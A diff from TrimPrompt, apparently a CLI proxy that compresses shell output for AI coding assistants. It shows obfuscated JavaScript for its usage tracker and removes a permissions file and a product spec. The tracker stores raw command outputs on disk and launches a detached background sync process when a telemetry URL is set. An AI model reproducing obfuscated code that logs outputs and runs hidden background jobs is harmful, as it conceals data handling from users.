sor-small':{'name':a0_0x1e4798(0x215),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x1e4798(0x203),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x1e4798(0x20d),'input_price_1m':3.5}};function a0_0x23bf(_0x1a806c,_0x493a15){const _0x578af2=a0_0x578a();return a0_0x23bf=function(_0x23bf6e,_0x5d903b){_0x23bf6e=_0x23bf6e-0x1e1;let _0x1620ed=_0x578af2[_0x23bf6e];return _0x1620ed;},a0_0x23bf(_0x1a806c,_0x493a15);}class Tracker{[a0_0x1e4798(0x228)];[a0_0x1e4798(0x1e2)];['statsPath'];[a0_0x1e4798(0x214)];['config'];constructor(){const _0x4ebf60=a0_0x1e4798;this['baseDir']=path['join'](os[_0x4ebf60(0x1ed)](),_0x4ebf60(0x245)),this[_0x4ebf60(0x1e2)]=path['join'](this[_0x4ebf60(0x228)],'config.json'),this[_0x4ebf60(0x234)]=path[_0x4ebf60(0x1f3)](this['baseDir'],_0x4ebf60(0x1f0)),this['logsDir']=path[_0x4ebf60(0x1f3)](this[_0x4ebf60(0x228)],_0x4ebf60(0x1fc)),this[_0x4ebf60(0x223)]();}['init'](){const _0x346539=a0_0x1e4798;!fs['existsSync'](this[_0x346539(0x228)])&&fs[_0x346539(0x230)](this['baseDir'],{'recursive':!![]});!fs[_0x346539(0x1f7)](this[_0x346539(0x214)])&&fs[_0x346539(0x230)](this[_0x346539(0x214)],{'recursive':!![]});const _0x499513={'version':_0x346539(0x231),'telemetry_url':process[_0x346539(0x21a)]['TRIMPROMPT_TELEMETRY_URL']||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x346539(0x217)};if(fs[_0x346539(0x1f7)](this['configPath']))try{const _0x1c769d=fs[_0x346539(0x240)](this[_0x346539(0x1e2)],_0x346539(0x1ef));this[_0x346539(0x22f)]={..._0x499513,...JSON[_0x346539(0x207)](_0x1c769d)};}catch(_0x355bda){this[_0x346539(0x22f)]=_0x499513;}else this[_0x346539(0x22f)]=_0x499513,this['saveConfig']();!fs[_0x346539(0x1f7)](this[_0x346539(0x234)])&&fs[_0x346539(0x22b)](this[_0x346539(0x234)],JSON[_0x346539(0x24b)]([]),'utf8');}[a0_0x1e4798(0x212)](){const _0x5eb975=a0_0x1e4798;return process[_0x5eb975(0x21a)][_0x5eb975(0x21d)]&&(this[_0x5eb975(0x22f)][_0x5eb975(0x1f6)]=process['env']['TRIMPROMPT_TELEMETRY_URL']),this[_0x5eb975(0x22f)];}['setConfig'](_0x1b20f1,_0x2852d9){const _0x57ebde=a0_0x1e4798;this[_0x57ebde(0x22f)][_0x1b20f1]=_0x2852d9,this[_0x57ebde(0x22d)]();}[a0_0x1e4798(0x22d)](){const _0x576803=a0_0x1e4798;fs[_0x576803(0x22b)](this[_0x576803(0x1e2)],JSON['stringify'](this[_0x576803(0x22f)],null,0x2),_0x576803(0x1ef));}[a0_0x1e4798(0x23e)](){const _0x350a4b=a0_0x1e4798;try{if(!fs['existsSync'](this['statsPath']))return[];const _0x506756=fs[_0x350a4b(0x240)](this[_0x350a4b(0x234)],'utf8');return JSON[_0x350a4b(0x207)](_0x506756);}catch{return[];}}[a0_0x1e4798(0x239)](_0x127f6b){const _0x5991c8=a0_0x1e4798;fs['writeFileSync'](this[_0x5991c8(0x234)],JSON[_0x5991c8(0x24b)](_0x127f6b,null,0x2),_0x5991c8(0x1ef));}[a0_0x1e4798(0x200)](_0x347ede,_0x5c19e6,_0x24baa5,_0x3f7102){const _0x1fc594=a0_0x1e4798,_0x11f2b4=this[_0x1fc594(0x23e)](),_0x59f6f2=_0x5c19e6[_0x1fc594(0x202)],_0x2427a7=_0x24baa5[_0x1fc594(0x202)],_0x1b9975=Math[_0x1fc594(0x23b)](_0x59f6f2/0x4),_0x57dac1=Math[_0x1fc594(0x23b)](_0x2427a7/0x4),_0x4a7bcb=Math[_0x1fc594(0x1ee)](0x0,_0x1b9975-_0x57dac1);let _0x13923b=_0x1fc594(0x233);if(process['env'][_0x1fc594(0x20e)]&&exports[_0x1fc594(0x21b)][process[_0x1fc594(0x21a)][_0x1fc594(0x20e)]])_0x13923b=process[_0x1fc594(0x21a)][_0x1fc594(0x20e)];else{if(process[_0x1fc594(0x21a)][_0x1fc594(0x1e6)]==='1'||process[_0x1fc594(0x21a)]['CLAUDE_CODE']==='1')_0x13923b=_0x1fc594(0x233);else{if(process[_0x1fc594(0x21a)][_0x1fc594(0x1f1)])_0x13923b='claude-3-5-sonnet';else{if(process[_0x1fc594(0x21a)][_0x1fc594(0x242)]==='1')_0x13923b=_0x1fc594(0x221);else{const _0xa8e29f=this[_0x1fc594(0x212)]()['default_model'];_0xa8e29f&&exports[_0x1fc594(0x21b)][_0xa8e29f]&&(_0x13923b=_0xa8e29f);}}}}const _0x47d001=Math['random']()[_0x1fc594(0x1ea)](0x24)['substring'](0x2,0xb);try{fs[_0x1fc594(0x22b)](path[_0x1fc594(0x1f3)](this[_0x1fc594(0x214)],_0x47d001+_0x1fc594(0x237)),_0x5c19e6,_0x1fc594(0x1ef)),fs[_0x1fc594(0x22b)](path[_0x1fc594(0x1f3)](this[_0x1fc594(0x214)],_0x47d001+_0x1fc594(0x208)),_0x24baa5,_0x1fc594(0x1ef));}catch{}const _0x5f3477={'id':_0x47d001,'timestamp':new Date()[_0x1fc594(0x21e)](),'command':_0x347ede['split']('\x20')[0x0]||_0x1fc594(0x211),'raw_chars':_0x59f6f2,'compressed_chars':_0x2427a7,'estimated_raw_tokens':_0x1b9975,'estimated_compressed_tokens':_0x57dac1,'tokens_saved':_0x4a7bcb,'model_used':_0x13923b,'exit_code':_0x3f7102,'synced':![]};_0x11f2b4['push'](_0x5f3477),this['saveLogs'](_0x11f2b4);const _0x1dc2d4=this['getConfig']()[_0x1fc594(0x1f6)];return _0x1dc2d4&&_0x1dc2d4[_0x1fc594(0x205)]()[_0x1fc594(0x202)]>0x0&&this[_0x1fc594(0x1fa)](),_0x5f3477;}[a0_0x1e4798(0x1fa)](){const _0x21fc50=a0_0x1e4798;try{const _0x3db342=path[_0x21fc50(0x1f3)](__dirname,'sync.js');if(fs[_0x21fc50(0x1f7)](_0x3db342)){const _0x4c8e71=(0x0,child_process_1[_0x21fc50(0x236)])(process[_0x21fc50(0x216)],[_0x3db342],{'detached':!![],'stdio':_0x21fc50(0x1e3)});_0x4c8e71[_0x21fc50(0x229)]();}}catch{}}[a0_0x1e4798(0x20a)](_0x49bd34=a0_0x1e4798(0x1e9)){const _0x4526c6=a0_0x1e4798,_0xa0d9cd=this[_0x4526c6(0x23e)]();let _0x5bb05a=0x0,_0x4c7ecd=0x0,_0x4c8ff6=0x0;for(const _0x326b37 of _0xa0d9cd){_0x5bb05a+=_0x326b37['estimated_raw_tokens'],_0x4c7ecd+=_0x326b37[_0x4526c6(0x248)],_0x4c8ff6+=_0x326b37[_0x4526c6(0x1f2)];}let _0x4bfcbd=_0x49bd34;(!_0x4bfcbd||_0x4bfcbd===_0x4526c6(0x1e9)||!exports['PRICING'][_0x4bfcbd])&&(_0xa0d9cd[_0x4526c6(0x202)]>0x0&&_0xa0d9cd[_0xa0d9cd[_0x4526c6(0x202)]-0x1][_0x4526c6(0x224)]?_0x4bfcbd=_0xa0d9cd[_0xa0d9cd[_0x4526c6(0x202)]-0x1][_0x4526c6(0x224)]:_0x4bfcbd=this[_0x4526c6(0x212)]()['default_model']||_0x4526c6(0x233));const _0x45baf0=exports['PRICING'][_0x4bfcbd]||exports[_0x4526c6(0x21b)][_0x4526c6(0x233)],_0xc22dba=_0x4c8ff6*_0x45baf0['input_price_1m']/0xf4240,_0xd2affd=_0x5bb05a*_0x45baf0['input_price_1m']/0xf4240,_0x3ea78e=_0x4c7ecd*_0x45baf0['input_price_1m']/0xf4240,_0x2dcc80=_0x5bb05a>0x0?_0x4c8ff6/_0x5bb05a*0x64:0x0;return{'total_raw_tokens':_0x5bb05a,'total_compressed_tokens':_0x4c7ecd,'total_tokens_saved':_0x4c8ff6,'savings_percentage':parseFloat(_0x2dcc80['toFixed'](0x1)),'money_saved_usd':parseFloat(_0xc22dba[_0x4526c6(0x246)](0x4)),'raw_cost_usd':parseFloat(_0xd2affd[_0x4526c6(0x246)](0x4)),'compressed_cost_usd':parseFloat(_0x3ea78e[_0x4526c6(0x246)](0x4)),'model_name':_0x45baf0[_0x4526c6(0x220)],'model_key':_0x4bfcbd};}}exports[a0_0x1e4798(0x1eb)]=Tracker,exports[a0_0x1e4798(0x235)]=new Tracker();
@@ -1,7 +0,0 @@
1
- {
2
- "permissions": {
3
- "allow": [
4
- "Bash(npx tsc *)"
5
- ]
6
- }
7
- }
@@ -1,55 +0,0 @@
1
- # TrimPrompt.ai - Specification
2
-
3
- This specification defines the architecture, data schemas, filtering logic, and integration patterns for **TrimPrompt.ai**.
4
-
5
- TrimPrompt.ai is a language-agnostic CLI proxy designed to reduce input token consumption for AI coding assistants (like Cursor, Claude Code, and Copilot) by **60–90%**. It intercepts shell commands, applies smart compression, redacts sensitive PII/secrets, tracks metrics locally, and optionally syncs telemetry to a central enterprise server.
6
-
7
- ---
8
-
9
- ## System Architecture
10
-
11
- TrimPrompt.ai operates in two primary tiers:
12
- 1. **Local CLI & Developer Dashboard (Local-First, Zero-Config)**
13
- 2. **Central Telemetry Server (Enterprise Hub)**
14
-
15
- ### Tier 1: Local Developer Environment (Zero-Config)
16
- * **Installation:** Installed via npm (`npm install -g trimprompt`).
17
- * **Zero Configuration:** Works out of the box. Automatically initializes local database and shims on first run.
18
- * **Storage:** Telemetry is written to a local file (`~/.trimprompt/stats.json`) and raw/compressed logs are kept in (`~/.trimprompt/logs/`).
19
- * **Developer UI:** Running `trim ui` starts a local web server (default port `4000`) serving a Single Page Application (SPA). This dashboard allows developers to select their LLM model, visualize token savings, view cost metrics in USD, and inspect exact raw vs. compressed output diffs.
20
-
21
- ### Tier 2: Enterprise Telemetry & Management (One-Line Config)
22
- * **Activation:** Enabled by configuring the `telemetry_url` parameter in `~/.trimprompt/config.json` or setting the `TRIMPROMPT_TELEMETRY_URL` environment variable.
23
- * **Asynchronous Syncing:** Local metrics are pushed to the central server in background batches. This ensures zero latency overhead for developer workflows. If the sync fails (e.g., offline mode), records are cached locally and retried.
24
- * **DLP (Data Loss Prevention):** The sync payload is stripped of sensitive information (arguments, usernames, specific filenames) to ensure strict data privacy before telemetry is transmitted.
25
- * **Manager's Dashboard:** Web-based UI displaying aggregated token reduction percentage, dollar-value savings, user adoption statistics, and cost hotspots.
26
-
27
- ---
28
-
29
- ## Command Interface
30
-
31
- The CLI executable (`trim`) supports the following commands:
32
-
33
- | Command | Description |
34
- | :--- | :--- |
35
- | `trim <command> [args...]` | Proxies and compresses the specified command (e.g., `trim git diff`). |
36
- | `trim ui` / `trim dashboard` | Launches the local developer dashboard web server. |
37
- | `trim stats` | Prints a summary of token savings to the terminal. |
38
- | `trim config <get\|set> <key> [value]` | Reads or writes client configuration parameters. |
39
- | `trim shims install` | Installs system shell shims to intercept commands automatically. |
40
- | `trim shims uninstall` | Removes shell shims. |
41
-
42
- ---
43
-
44
- ## Configuration Schema (`config.json`)
45
-
46
- ```json
47
- // Local Config Location: ~/.trimprompt/config.json
48
- {
49
- "version": "1.0",
50
- "telemetry_url": "", // URL of the Enterprise Hub (e.g. http://your-company-hub:5000/api/telemetry)
51
- "max_output_tokens": 5000, // Soft token limit per command output
52
- "redaction_enabled": true, // Toggle PII/Secret redaction
53
- "default_model": "claude-3-5-sonnet"
54
- }
55
- ```